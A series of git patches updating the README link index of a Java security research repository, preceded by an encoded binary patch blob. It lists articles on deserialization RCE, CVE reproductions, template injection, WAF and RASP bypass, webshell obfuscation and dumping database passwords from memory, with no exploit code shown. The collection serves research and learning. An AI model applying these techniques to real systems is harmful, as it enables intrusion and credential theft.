z-uj=-D}*2n{?^nEPV5{uwnjg8&;GA3fpf@A^3O)Vt_O_azms7Ane9#s<$>_K-Ql*I z3-YuLG@Cz4ea|3c_II#%WNje$U-fz*YlG&(%h-tO9tfv@W-%K!E3WToEQ`46L=j;; zke!u1thgx3TJ^0Ye*OA83~wJyJeiAOB146VoW4oiaB~%Daa0;k9=uyeRqhoJ=eB8H zrqd84?NI8lZ7-Rm2s2NOdpa$DMm4olxDm6yTkJ`iDg4t+|95BGqVkTx_3x_~H!Qnf zhgN5WTx*^z_4{Je_hw#Hia_8f_KIxw7!Rwnp-fGF2vt_vTZyB$m6c19eCx^8$ySAj zwVxC->$Ew1sDCVgUi_?GXuA8sSh3D{(WTI{^M*K=I-{%`-{LGZpGapkiOawI{>8;& z&EEbVe49|)F6mRzF0$U^2U6W6qVHUIVOV;PLqN#H$6clLs}PT4;N4>3dfpd09}m4? zzt1byQr<_1O{bgGNF?Fnqpn_>b*isvtYn3X&$4fT8@r?ELreP0@MwiJwOWFrj|77Y z-%k4)NYAFLa>b(eUc6IS)-e5Di)m@hA=3TTF;Svy%7Z!!HIK#vPSvzQVACVZ^M($Sm`P!@Ck{+Y(LSnN zI2~Z8cSnZ(sLK@GPm}+78Ox&r(?}+p47)}5uk`2dsyROJmE5E0PgM)SY}zpx4UMVCE~v6=c~&G!moUPb1G2y)@Hg zexKH7;7rB1w-TS3@WrG0aV$56KhUt2P)?)_vdnz6Xvb|iLB+29K+tOFa$CwBf%S7L zNj*mOO&|P~gX2lB*@p+_B;VtJAM#|QovMYaS)y$ zn_{=Sr&~%)UUj{<51kqg6)Me$F<6`l72?s)kveGJnqqwa4N=^{`76UJgK8|bxgqbA zoaR<6A6t*(q4&MXyiTVg&cNQ`Cx_KV{l4smSZwkFrKj8T`6E|Dm4$E8y^}d5bNnG^ zjOW3nz{>Ic{a46g`n~t+$`{)(d549cD2<|sBov`2C&t;6V-y%-__Kwq`*g89zb z>3&JrT7=b!2|5wmll2r@_=ee8lMJ>7`vNif?852v?y!oD63L|4XKIPRvF5EzKfSX%@@VAxb zK?5U@=4m2}{QpOUWY_yejQp!p0x-=&B?o>BLZ*b@nd*>aF+j~7`0TnY2gL;#KZ}g< zKN37D!V%;Tpz^3xZJ;DcbhG3ep7(L0`DDk7hQO3L&%AbxLGQQnZ_D!mRU`4 z-Y0=1BB1y@VH2wO&<90=)R2mxIJxxIxuA->CNjNrnCce_mRbcICrnIf9}^z;el9}jp zyGq!pP$GE@%}KFsz}+q)294nDr+P;^&qr(IDn@8zUTKpR+~f}T$Q;_<%i`#JRM}FW zKYq|Ot>SnBOT$R(YfneNt0be-RR;)Ns>x)Eqcxa5uW8U^m-j5+fh&I`QMuc!lXCH4 z+8sjO$6s+qMb_PudWdH&slN(_9cf~DN~BfHxTd1b^4Toj6}1&rwzgWPAe;1xQ#}4x zx(Vq4H?7q$ecB1yD27>`cs9ajix1-^P0ONRzPFj6(i7sNPD|6V(k`xI=;viI40R+b zvZ+xtr`ZMcYH1pK`JvB;hsJ(dxp9S3x7x5q0Nr>I)9U2Y&%MFl`viOp`B#Zd+DAY7 zdZEeq@kKL*UhXn#UCX?V*&oE6WqfkUi~Mn3VT-f=_wEygr1kLA_cITp^*z{# zdGwJ^TsuPv?$k55T|1A z64Thf?&C+EJK-n%4IPN>R`E3w(}>Cwz|(e*?dtzJ(rhHZJ3{+U?)cYY&%XUcsJq`z z2*h}x&4>Yif}i{wpMKyyg}{49AW@e4r&l1R0e2ok?*s&HD+JpNOcL?e%>|O*zPk|Y zALwUiIR$W|9@u8YRuO*%NBv_$-WWVk$*}7^gIj|KI)@G(xM>h zCkhJ{FOHWdJ(u-fS`irF=zloEPgkb>BNE^myI#(=CDKmU0Je0%HUneBKqAr)-2daUw!Q2OxJnId z2!}@i?~oJR-`*f|kJSbc1kA*s3fo2|ObK%@>3-mCgWE%Q032{r3iNg`pz;E2a2Nq% zf&yjwr%HDBYrv3PiUySn0D{T|ly-v+4kN}wA{SVfyF2DDgaa-Uf?hKOTnq*_IIJIm zxm~zD?h|4}R!XsDlK>J_I^fzOu)$&Jh^6|UL)}I!V%OUP^cUg*ltS;nftm^&=76_T zykA{(^M@J)mg2z%ht1*dA>*%*e<3JvI}G&R7-$fN!zvE%6cot?F}qxc1GP{91*$`! zoCIueSOVgx(5^Z}0tkro3$cK?1$qy{cHc85+$q-X7akz_q=HJea}wL`d#R**NVYrX zFN6ao9%xNIbmD=-Y{_;ChqU+}X>He**X^9#wmZNI`5tm1h5Lm_KzTT{aD00{Q%V#+b)MR^{#RNNZWvZp^u#@ z6>wk=Y%^kLh##OFyQWl-66&q=3P`blXOGXOo#_>DfDddlFgwJLpTgj-WB8*&Zm1ri zr85BdHloF3Xnv9(Otm(vu)vCFBxN%o5Rm@>K)dA=$?)+TY zE}J>+uCf99hud;Hqz5s#yl!XMhsKc^STzFZ*Rmlnw?Y0www?Y5jrucUw~lYgwi!o& z1&OUs8o&Yn&!`ZB7W_!40IRMz$maaCVn02Z8fT$-wylMBGC%aC(InTR`0d4!gp#CD{%;f%>Du zZx_UZ!3~6l3JX+ofDI0#=RqRu9%J~E+756O0NPF`g%U6$wvHIZE&*w~lUn?C9mbZn zcTWG?6FCdsUlXu>4BOAQ{if4G&m{tU096xUn-P=X+me5~4?*?65s$&j1|)~DLB0X4 z19(uaLl-G#U=I;^zc6tCczZYok@qllK%$*aye({q+4Juv>2{JgWCfk;58WB4fB@SJ ztP_Fw3t0i^oxvEy{)MzV?V1;gE%s1gOWGYywOw4$t~Yn*wbUkQu^&f*dFBmPiGK<8lu=%; z|Car2I>W~P?Z5GebI^gnoWzlk@n<7~oL%`1w?JkY!0}kH&4^u;*y3ipQEpcY@;Cvi z=MUo~a9kE_Gq6^~5Pl<0ZY9j%SayU7a4>rWP9RJGffIVRO93(%I4tMv79W46ng8>k zE9k`F(4ccCaJUR?a9D#35}y8#G442zu<;qR&Bpg25E#wQnMV*Z${De0*)0P9$e^}- z4cxQ+!$o!AU>MkDV1jZ;*!rUZL0kwm&4(S`s3 literal 0 HcmV?d00001 From 40e6a8778b5eff9fb6b980f4f084f087577f76fe Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:09:28 +0800 Subject: [PATCH 009/113] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E7=9B=AE=E5=BD=95?= =?UTF-8?q?=E7=BB=93=E6=9E=84=20=E5=A2=9E=E5=8A=A0shiro-ct?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 46 +++++++++++++++++++++++++++------------------- 1 file changed, 27 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 5f92362..6393804 100644 --- a/README.md +++ b/README.md @@ -96,21 +96,14 @@ - [关于blackhat2021披露的fastjson1.2.68链的一些细节,防止公众号以后找不到同目录下有备份](https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d&scene=21#wechat_redirect) - [2021L3HCTF中关于Fastjson1.2.68的骚操作](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E5%85%B6%E4%BB%96/L3HCTF%202021%20Official%20Write%20Up.pdf) - [一些有趣的Trick](https://github.com/Y4tacker/JavaSec/blob/main/3.FastJson专区/%E6%9C%89%E8%B6%A3Trick/FastJson%20Trick.md) -<<<<<<< Updated upstream - [fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) - [FastJson与原生反序列化(一)](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) - [FastJson与原生反序列化(二)](https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/) - - -## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) -======= - [Fastjson低版本不出网利用(常规很简单的炒陈饭看看就行)](https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247486057&idx=1&sn=6799b8b77f058247705beaa6995dcb82&chksm=9b7721bbac00a8adc3ca7b23590bcb7493fc93091eaf76efe4662b7d6f86068e38d20338c3c1&mpshare=1&scene=2&srcid=1109kLt9Pm0fZdiqQ8zbB0IX&sharer_sharetime=1667995572392&sharer_shareid=917ce1404b071ce27556675ad135266f#rd) - - [Fastjson与原生反序列化](https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) -## 4.Weblogic专区(暂时不想看) ->>>>>>> Stashed changes +## 4.Weblogic专区(虽然也挖了一堆,暂时不想写) - [T3协议学习](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0/T3%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0.md) - [CVE-2015-4852复现分析](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/CVE-2015-4852%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90.md) - [Weblogic使用ClassLoader和RMI来回显命令执行结果](https://xz.aliyun.com/t/7228) @@ -232,8 +225,10 @@ - [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md) - ## 12.Shiro + +- [Shiro RememberMe 漏洞检测的探索之路(长亭的一些总结非常不错)](https://stack.chaitin.com/techblog/detail?id=39) + - [Shiro另类检测方式](http://www.lmxspace.com/2020/08/24/%E4%B8%80%E7%A7%8D%E5%8F%A6%E7%B1%BB%E7%9A%84shiro%E6%A3%80%E6%B5%8B%E6%96%B9%E5%BC%8F/) - [浅谈Shiro执行任意反序列化gadget的方案](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/%E6%B5%85%E8%B0%88Shiro%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96gadget%E7%9A%84%E6%96%B9%E6%A1%88/index.md) - [CVE-2010-3863权限绕过(通过/./admin绕过/admin,/abc/../admin)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2010-3863%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) @@ -280,12 +275,29 @@ - [RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) ## 16.漏洞复现 -- [Apache Commons Configuration 远程代码执行(虽然是配置文件RCE但也有学习意义)](https://xz.aliyun.com/t/11527) -- [Apache Spark shell command injection vulnerability via Spark UI(之前很早前在我的各个知识星球分享了)](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-33891/index.md) -- [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) -- [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) -- [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) -- [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) + +- Apache + + - [Apache Commons Configuration 远程代码执行(虽然是配置文件RCE但也有学习意义)](https://xz.aliyun.com/t/11527) + + - [Apache Spark shell command injection vulnerability via Spark UI(之前很早前在我的各个知识星球分享了)](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-33891/index.md) + + - [Apache Commons JXPath 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-41852/index.md) + + - [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) + - [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) + +- Oracle + + - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) + + - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) + +- Nacos + + - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) + +- [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) ## 17.模板引擎相关 - [velocity 模板注入](https://www.cnblogs.com/nice0e3/p/16218857.html) @@ -311,9 +323,6 @@ ## 其他分享 -- [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) -- Nacos - - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - JMX - [JMX RMI攻击利用](https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md) - [一次从jmx到rce](https://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247506824&idx=1&sn=1bff6060290c0fdb7fe059cff2c61153&chksm=96d0208da1a7a99b6e61c8e3c332d324c0296bbccf1163cb8a10760e57cd17e150cb23a0e36a&mpshare=1&scene=1&srcid=1220PA2K5MY7dM3gWTr06z4r&sharer_sharetime=1671532238935&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) @@ -325,7 +334,6 @@ - [Java “后反序列化漏洞” 利用思路](https://paper.seebug.org/1133/) - [关于Servlet的线程安全问题](https://y4tacker.github.io/2022/02/03/year/2022/2/Servlet%E7%9A%84%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/) - [BypassSM](https://github.com/Y4tacker/JavaSec/blob/main/其他/BypassSM/bypasssm.md) -- [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) - [Spring Boot FatJar任意写目录漏洞导致Getshell](https://www.cnblogs.com/wh4am1/p/14681335.html) - [利用TemplatesImpl执行字节码](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E5%88%A9%E7%94%A8TemplatesImpl%E6%89%A7%E8%A1%8C%E5%AD%97%E8%8A%82%E7%A0%81/%E5%88%A9%E7%94%A8TemplatesImpl%E6%89%A7%E8%A1%8C%E5%AD%97%E8%8A%82%E7%A0%81.md) - [为什么补丁都喜欢打在resolveClass](https://github.com/Y4tacker/JavaSec/blob/main/4.Weblogic专区/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A1%A5%E4%B8%81%E5%96%9C%E6%AC%A2%E6%89%93%E5%9C%A8resolveClass/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A1%A5%E4%B8%81%E5%96%9C%E6%AC%A2%E6%89%93%E5%9C%A8resolveClass.md) From 481c8a5a38d5fa449465a8ebad4df17f59f40fe1 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:11:35 +0800 Subject: [PATCH 010/113] =?UTF-8?q?=E6=9B=B4=E6=96=B0apache=20flink?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6393804..4558682 100644 --- a/README.md +++ b/README.md @@ -286,6 +286,7 @@ - [Apache Commons Text 远程代码执行](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-42889/index.md) - [Log4j2-RCE分析](http://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.Java%E5%AE%89%E5%85%A8/03.%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/06.log4j2_rce%E5%88%86%E6%9E%90.html#%E5%A4%8D%E7%8E%B0) + - [Apache Flink RCE via jar/plan API Endpoint in JDK8](https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495227&idx=1&sn=5ab9bcc3d89d57ff9799f88c3363814c&chksm=c1d9ae62f6ae2774dd25902c116f6c24f3e5bbf68836f676c25aac53f2c6b771b4a3823c3e7e&mpshare=1&scene=1&srcid=0325kmXWImZrXe0btPMEsJDY&sharer_sharetime=1679735505328&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) - Oracle From f8fb64816faeac3eae14033e435413122034ab2a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:15:14 +0800 Subject: [PATCH 011/113] =?UTF-8?q?=E6=9B=B4=E6=96=B0hessian=E5=8F=8D?= =?UTF-8?q?=E5=BA=8F=E5=88=97=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 28 +++++++++++++++++++++++++--- 1 file changed, 25 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4558682..17093eb 100644 --- a/README.md +++ b/README.md @@ -300,22 +300,37 @@ - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) -## 17.模板引擎相关 + + +## 17.模板引擎表达式相关 + - [velocity 模板注入](https://www.cnblogs.com/nice0e3/p/16218857.html) - [freemarker 模板注入](https://www.cnblogs.com/nice0e3/p/16217471.html) - [pebble模板注入](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md) - [thymeleaf模板注入](https://xz.aliyun.com/t/10514) - [国产Jfinal用的Enjoy模板引擎主要研究不出网利用](https://y4tacker.github.io/2022/04/14/year/2022/4/Enjoy%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E5%88%86%E6%9E%90/) + + ## 18.各框架对URI处理的特性及Trick + - [Tomcat URL解析差异性导致的安全问题(网上看到的主要关注HttpServletRequest中几个解析URL的函数这个问题)](https://xz.aliyun.com/t/7544) - [Tomcat中url解析特性](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%ADurl%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7/index.md) - [SpringBoot2.3.0以下路由%2e跨目录处理(可用于权限绕过)](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot2.3.0%E4%BB%A5%E4%B8%8B%E8%B7%AF%E7%94%B1%252e%E8%B7%A8%E7%9B%AE%E5%BD%95%E5%A4%84%E7%90%86(%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87)/index.md) -## 19.Hacking FernFlower Decompiler(准备上议题后放) -如何影响idea反编译但不影响代码执行,暂时不想放出来,之后会放出来 + + +## 19.Hessian反序列化 + +- [Hessian 反序列化知一二](https://su18.org/post/hessian/) + +- [hessian-only-jdk利用补充](https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/writeup/readme.md) +- [hessian-onlyjdk-jdk11+jdk.jfr.internal.Utils利用补充](https://guokeya.github.io/post/psaIZKtC4/) + + ## 20.ASM与JVM学习 + - [JAVA虚拟机执行模型(关注引入了栈映射帧,用于加快虚拟机中类验证过程的速度)](https://www.cnblogs.com/coding-way/p/6600647.html) - [What is a stack map frame](https://stackoverflow.com/questions/25109942/what-is-a-stack-map-frame) - 这里比较有意思的是:Java 1.7引入了此选项以加速类验证。框架分为两部分:变量类型和堆栈类型。第一帧由方法类型描述。在每个GOTO / JUMP调用之后,您需要提供堆栈映射框架的更新描述。为了节省空间,可以使用SAME,APPEND等选项,也可以通过指定变量类型的FULL数组再次描述所有变量。 @@ -354,6 +369,8 @@ - [某软件监控页面RCE漏洞分析(虽然过于简单,但是可以借此了解下OA系统)](https://xz.aliyun.com/t/11778) - [JDK-Xalan的XSLT整数截断漏洞利用构造](https://mp.weixin.qq.com/s/xxAtjFvk9RxWiY-pwGf8Ow) + + ## 比赛反思 特地加了一栏吧,希望从比赛当中了解Java相关的东西学习一些新的点! @@ -367,6 +384,8 @@ - [UIUCTF2022-Spoink(关键词:Pebble最新模板注入Bypass、Spring中无路由上传文件处理)](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md) - [TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)](https://y4tacker.github.io/2023/01/03/year/2023/TetCTF2023-Liferay-CVE-2019-16891-Pre-Auth-RCE/) + + ## 环境 - [如何远程调试Weblogic](https://github.com/QAX-A-Team/WeblogicEnvironment) @@ -391,7 +410,9 @@ * 本工具中所涉及的漏洞均为网上已公开。 + ## 优质博客 + - [Y4tacker(自己的能不写吗)](https://y4tacker.github.io/) - [三梦](https://threedr3am.github.io/) - [su18](https://su18.org/) @@ -399,6 +420,7 @@ - [回忆飘如雪](https://gv7.me/) + ## 更多 From 3ff281d6b94ffb5b75130e521e0eea03cd98b9bf Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:20:25 +0800 Subject: [PATCH 012/113] =?UTF-8?q?=E5=90=88=E5=B9=B6=E8=A1=A8=E8=BE=BE?= =?UTF-8?q?=E5=BC=8F=E4=B8=8E=E6=A8=A1=E6=9D=BF=E5=BC=95=E6=93=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 17093eb..70b6b68 100644 --- a/README.md +++ b/README.md @@ -225,6 +225,8 @@ - [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md) + + ## 12.Shiro - [Shiro RememberMe 漏洞检测的探索之路(长亭的一些总结非常不错)](https://stack.chaitin.com/techblog/detail?id=39) @@ -263,6 +265,8 @@ - [jsp新webshell的探索之旅](https://y4tacker.github.io/2022/02/03/year/2022/2/jsp%E6%96%B0webshell%E7%9A%84%E6%8E%A2%E7%B4%A2%E4%B9%8B%E6%97%85/) - [JspWebshell编码混淆篇(unicode和html实体编码那些就懒得写了技术性不强)](https://y4tacker.github.io/2022/11/27/year/2022/11/%E6%B5%85%E8%B0%88JspWebshell%E4%B9%8B%E7%BC%96%E7%A0%81/) + + ## 15.Waf - [Java文件上传大杀器-绕waf(针对commons-fileupload组件)](https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)/) @@ -274,6 +278,8 @@ - [Fastjson词法引擎绕waf](https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/) - [RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) + + ## 16.漏洞复现 - Apache @@ -302,15 +308,25 @@ -## 17.模板引擎表达式相关 +## 17.模板引擎+表达式相关 + +- 模板引擎 + + - [velocity 模板注入](https://www.cnblogs.com/nice0e3/p/16218857.html) + + - [freemarker 模板注入](https://www.cnblogs.com/nice0e3/p/16217471.html) + + - [pebble模板注入](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md) + + - [thymeleaf模板注入](https://xz.aliyun.com/t/10514) -- [velocity 模板注入](https://www.cnblogs.com/nice0e3/p/16218857.html) -- [freemarker 模板注入](https://www.cnblogs.com/nice0e3/p/16217471.html) -- [pebble模板注入](https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md) -- [thymeleaf模板注入](https://xz.aliyun.com/t/10514) -- [国产Jfinal用的Enjoy模板引擎主要研究不出网利用](https://y4tacker.github.io/2022/04/14/year/2022/4/Enjoy%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E5%88%86%E6%9E%90/) + - [国产Jfinal用的Enjoy模板引擎主要研究不出网利用](https://y4tacker.github.io/2022/04/14/year/2022/4/Enjoy%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E5%88%86%E6%9E%90/) +- 表达式 + - [普通EL表达式命令回显的简单研究](https://forum.butian.net/share/886) + - [一种新型Java一句话木马的实现](https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/) + - ## 18.各框架对URI处理的特性及Trick @@ -358,7 +374,6 @@ - [如何关闭百度的Rasp](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E5%85%B3%E9%97%AD%E7%99%BE%E5%BA%A6%E7%9A%84Rasp/index.md) - [漫谈 JEP 290](https://paper.seebug.org/1689/#_1) - [Java Web —— 从内存中Dump JDBC数据库明文密码(还挺好玩的)](https://mp.weixin.qq.com/s/QCfqO2BJuhSOr58rldZzxA) -- [普通EL表达式命令回显的简单研究](https://forum.butian.net/share/886) - [如何带依赖打包Jar](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Maven/index.md) - [一些Java二次反序列化的点(持续收集)](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E8%A7%A6%E5%8F%91%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E7%82%B9.md) - [自己写的OpenRasp分析](https://y4tacker.github.io/2022/05/28/year/2022/5/OpenRasp%E5%88%86%E6%9E%90/) From 7ba4ba1483312169de3d1ce3b09068bd68c68083 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 9 Jun 2023 14:26:14 +0800 Subject: [PATCH 013/113] Create index.md --- .../index.md" | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 "17.\346\250\241\346\235\277\345\274\225\346\223\216+\350\241\250\350\276\276\345\274\217\347\233\270\345\205\263/el\350\241\250\350\276\276\345\274\217\347\273\225waf\347\232\204trick/index.md" diff --git "a/17.\346\250\241\346\235\277\345\274\225\346\223\216+\350\241\250\350\276\276\345\274\217\347\233\270\345\205\263/el\350\241\250\350\276\276\345\274\217\347\273\225waf\347\232\204trick/index.md" "b/17.\346\250\241\346\235\277\345\274\225\346\223\216+\350\241\250\350\276\276\345\274\217\347\233\270\345\205\263/el\350\241\250\350\276\276\345\274\217\347\273\225waf\347\232\204trick/index.md" new file mode 100644 index 0000000..8a62679 --- /dev/null +++ 